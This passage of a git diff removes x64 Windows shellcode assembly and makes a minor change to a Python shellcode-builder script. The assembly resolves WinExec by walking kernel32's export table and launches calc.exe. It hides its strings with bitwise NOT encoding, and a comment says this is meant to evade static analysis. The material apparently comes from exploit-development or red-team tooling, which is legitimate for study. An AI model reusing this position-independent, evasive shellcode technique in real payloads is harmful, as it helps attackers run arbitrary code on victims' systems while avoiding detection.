stack -xor rdi,rdi ; Clear RDI for setting up string name retrieval -mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] -add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll -mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) -repe cmpsb ; Compare strings at RDI & RSI -je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API -incloop: -inc rax -jmp short loop - -; Find the address of GetProcAddress by using the last value of the Counter -resolveaddr: -pop rcx ; remove string length counter from top of stack -mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. -mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] -add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress -push rbx ; place the return address from the api string call back on the top of the stack -ret ; return to API caller - -apis: ; API Names to resolve addresses -; WinExec | String length : 7 -xor rcx, rcx -add cl, 0x7 ; String length for compare string -mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec -not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis -shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll -push rax -push rcx ; push the string length counter to stack -call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable -mov r14, rax ; R14 = Kernel32.WinExec Address - -; UINT WinExec( -; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 -; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL -; ); -xor rcx, rcx -mul rcx ; RAX & RDX & RCX = 0x0 -; calc.exe | String length : 8 -push rax ; Null terminate string on stack -mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" -not rax -;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 -push rax ; RSP = "calc.exe",0x0 -mov rcx, rsp ; RCX = "calc.exe",0x0 -inc rdx ; RDX = 0x1 = SW_SHOWNORMAL -sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) -call r14 ; Call WinExec("calc.exe", SW_HIDE) \ No newline at end of file diff --git a/shellcoder.py b/shellcoder.py index f50f9e9..a4653dd 100644 --- a/shellcoder.py +++ b/shellcoder.py @@ -50,7 +50,7 @@ def get_msvc_console_environs() -> dict[str, str]: print(f"[!] MSVC Developer Console error: {process.stderr}") sys.exit(-1) - envs = {} + envs: dict[str, str] = {} for line in process.stdout.splitlines(): if '=' in line: key, value = line.split('=', 1)